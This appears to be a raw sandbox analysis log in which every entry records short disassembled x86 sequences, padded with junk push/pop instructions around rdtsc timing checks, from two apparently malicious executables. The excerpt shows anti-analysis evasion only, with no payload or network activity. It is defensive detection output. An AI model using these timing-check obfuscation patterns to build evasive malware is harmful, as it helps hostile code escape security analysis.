Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511024D second address: 511026C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 push edx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop edx 0x00000010 jmp 00007F6DFD003CBEh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51102E8 second address: 51102EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51102EC second address: 51102F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51102F2 second address: 511037A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, esi 0x00000005 pushfd 0x00000006 jmp 00007F6DFCC41844h 0x0000000b sbb ax, 5BB8h 0x00000010 jmp 00007F6DFCC4183Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ecx 0x0000001f mov ecx, edx 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 pushad 0x00000024 push ebx 0x00000025 mov dl, ch 0x00000027 pop ebx 0x00000028 mov si, 9AADh 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 call 00007F6DFCC41845h 0x00000037 pop esi 0x00000038 pushfd 0x00000039 jmp 00007F6DFCC41841h 0x0000003e sbb ecx, 5AA9BA66h 0x00000044 jmp 00007F6DFCC41841h 0x00000049 popfd 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DFEE second address: D6E005 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E005 second address: D6E018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFCC4183Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110411 second address: 511042E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 1Eh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6DFD003CC1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511042E second address: 511047A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F6DFCC41843h 0x0000000b add ecx, 3093407Eh 0x00000011 jmp 00007F6DFCC41849h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F6DFCC4183Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511047A second address: 511048A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110508 second address: 5110554 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC41841h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 6B2B7011h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F6DFCC41843h 0x00000018 call 00007F6DFCC41848h 0x0000001d pop eax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110554 second address: 5110586 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F6E6D817740h 0x0000000e push 759227D0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [759B0140h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F6DFD003CC7h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110586 second address: 51105DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a and dword ptr [ebp-04h], 00000000h 0x0000000e jmp 00007F6DFCC4183Dh 0x00000013 mov edx, dword ptr [ebp+0Ch] 0x00000016 pushad 0x00000017 call 00007F6DFCC4183Ch 0x0000001c pushfd 0x0000001d jmp 00007F6DFCC41842h 0x00000022 sub ax, 9DA8h 0x00000027 jmp 00007F6DFCC4183Bh 0x0000002c popfd 0x0000002d pop eax 0x0000002e mov ecx, edi 0x00000030 popad 0x00000031 mov esi, edx 0x00000033 pushad 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51105DF second address: 5110616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F6DFD003CC8h 0x0000000b or ax, 8B38h 0x00000010 jmp 00007F6DFD003CBBh 0x00000015 popfd 0x00000016 popad 0x00000017 mov al, byte ptr [edx] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110616 second address: 511061C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511061C second address: 5110621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110621 second address: 5110627 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110627 second address: 511062B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511062B second address: 5110666 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edx 0x00000009 pushad 0x0000000a mov ecx, 2423BC57h 0x0000000f call 00007F6DFCC4183Ch 0x00000014 mov edx, esi 0x00000016 pop eax 0x00000017 popad 0x00000018 test al, al 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6DFCC41848h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110666 second address: 511066C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511066C second address: 5110616 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F6DFCC417CBh 0x0000000e mov al, byte ptr [edx] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511074E second address: 5110754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110754 second address: 5110758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110758 second address: 51107C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e pushad 0x0000000f jmp 00007F6DFD003CC4h 0x00000014 pushfd 0x00000015 jmp 00007F6DFD003CC2h 0x0000001a jmp 00007F6DFD003CC5h 0x0000001f popfd 0x00000020 popad 0x00000021 inc edi 0x00000022 jmp 00007F6DFD003CBEh 0x00000027 test al, al 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51107C1 second address: 51107F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F6DFCC41843h 0x0000000a xor cx, 1C1Eh 0x0000000f jmp 00007F6DFCC41849h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51107F9 second address: 51107FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51107FF second address: 5110835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F6E6D449AAEh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F6DFCC41840h 0x00000017 and si, 8148h 0x0000001c jmp 00007F6DFCC4183Bh 0x00000021 popfd 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110835 second address: 511084B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CC2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511084B second address: 511084F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511084F second address: 5110869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a pushad 0x0000000b mov edi, 2AB6DFC0h 0x00000010 popad 0x00000011 shr ecx, 02h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110869 second address: 511086D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511086D second address: 5110884 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110884 second address: 51108DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFCC41849h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 jmp 00007F6DFCC4183Eh 0x00000018 mov ecx, edx 0x0000001a pushad 0x0000001b movzx esi, dx 0x0000001e mov bx, 9BAEh 0x00000022 popad 0x00000023 and ecx, 03h 0x00000026 jmp 00007F6DFCC41845h 0x0000002b rep movsb 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov dh, 89h 0x00000032 mov bh, ah 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51108DE second address: 5110910 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6DFD003CC7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110910 second address: 511094E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6DFCC4183Fh 0x00000008 pop esi 0x00000009 mov ax, di 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F6DFCC4183Ch 0x0000001a and ah, 00000018h 0x0000001d jmp 00007F6DFCC4183Bh 0x00000022 popfd 0x00000023 mov di, cx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511094E second address: 5110954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110B2B second address: 5110B6E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6DFCC41848h 0x00000008 or esi, 348CD328h 0x0000000e jmp 00007F6DFCC4183Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov ah, 00h 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F6DFCC4183Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110B6E second address: 5110B74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110B74 second address: 5110B85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFCC4183Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110B85 second address: 5110B89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 42ECCB second address: 42ECD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 42ECD1 second address: 42ECD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 42ECD6 second address: 42ECDB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5AECC1 second address: 5AECF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CC7h 0x00000007 jns 00007F6DFD003CB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jbe 00007F6DFD003CBEh 0x00000015 jp 00007F6DFD003CB6h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5AECF4 second address: 5AECF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5A7BF0 second address: 5A7C00 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F6DFD003CBEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5A7C00 second address: 5A7C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnl 00007F6DFCC41836h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5ADC65 second address: 5ADC69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5AE0F3 second address: 5AE0F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5AE265 second address: 5AE26B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5AE3FF second address: 5AE405 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5AE552 second address: 5AE556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5AE556 second address: 5AE55E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5AE55E second address: 5AE588 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBDh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6DFD003CC9h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5AE588 second address: 5AE58C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1C51 second address: 5B1CAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov si, 5938h 0x0000000e push 00000000h 0x00000010 mov edi, dword ptr [ebp+122D2BA9h] 0x00000016 call 00007F6DFD003CB9h 0x0000001b ja 00007F6DFD003CBEh 0x00000021 push edi 0x00000022 jbe 00007F6DFD003CB6h 0x00000028 pop edi 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F6DFD003CC6h 0x00000033 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1CAD second address: 5B1CB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1CB3 second address: 5B1D09 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6DFD003CCBh 0x00000008 jmp 00007F6DFD003CC5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F6DFD003CC6h 0x0000001b jmp 00007F6DFD003CC9h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1D09 second address: 5B1D26 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F6DFCC4183Fh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1D26 second address: 5B1D2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1D2C second address: 5B1D32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1D32 second address: 5B1D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1D36 second address: 5B1DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007F6DFCC41845h 0x00000011 pop eax 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F6DFCC41838h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c pushad 0x0000002d mov bx, si 0x00000030 mov eax, dword ptr [ebp+122D2B42h] 0x00000036 popad 0x00000037 push 00000003h 0x00000039 push 00000000h 0x0000003b push esi 0x0000003c call 00007F6DFCC41838h 0x00000041 pop esi 0x00000042 mov dword ptr [esp+04h], esi 0x00000046 add dword ptr [esp+04h], 00000018h 0x0000004e inc esi 0x0000004f push esi 0x00000050 ret 0x00000051 pop esi 0x00000052 ret 0x00000053 push 00000000h 0x00000055 movsx edi, si 0x00000058 push 00000003h 0x0000005a jmp 00007F6DFCC41842h 0x0000005f call 00007F6DFCC41839h 0x00000064 push eax 0x00000065 push edx 0x00000066 jo 00007F6DFCC4183Ch 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1DD5 second address: 5B1DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1DD9 second address: 5B1DFB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007F6DFCC41836h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6DFCC41842h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1DFB second address: 5B1E7C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F6DFD003CBCh 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push esi 0x00000012 jg 00007F6DFD003CB8h 0x00000018 pop esi 0x00000019 mov eax, dword ptr [eax] 0x0000001b jns 00007F6DFD003CBEh 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 jo 00007F6DFD003CBEh 0x0000002b jp 00007F6DFD003CB8h 0x00000031 push edi 0x00000032 pop edi 0x00000033 pop eax 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F6DFD003CB8h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e clc 0x0000004f lea ebx, dword ptr [ebp+12456ACAh] 0x00000055 mov dword ptr [ebp+122D2292h], edi 0x0000005b xchg eax, ebx 0x0000005c pushad 0x0000005d jno 00007F6DFD003CB8h 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1E7C second address: 5B1EA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 js 00007F6DFCC41853h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6DFCC41845h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1FBB second address: 5B1FC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B1FC1 second address: 5B2004 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jno 00007F6DFCC41841h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F6DFCC41842h 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6DFCC4183Fh 0x00000021 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B2004 second address: 5B201E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6DFD003CC5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B201E second address: 5B2036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6DFCC4183Bh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	RDTSC instruction interceptor: First address: 5B2036 second address: 5B2052 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6DFD003CC7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
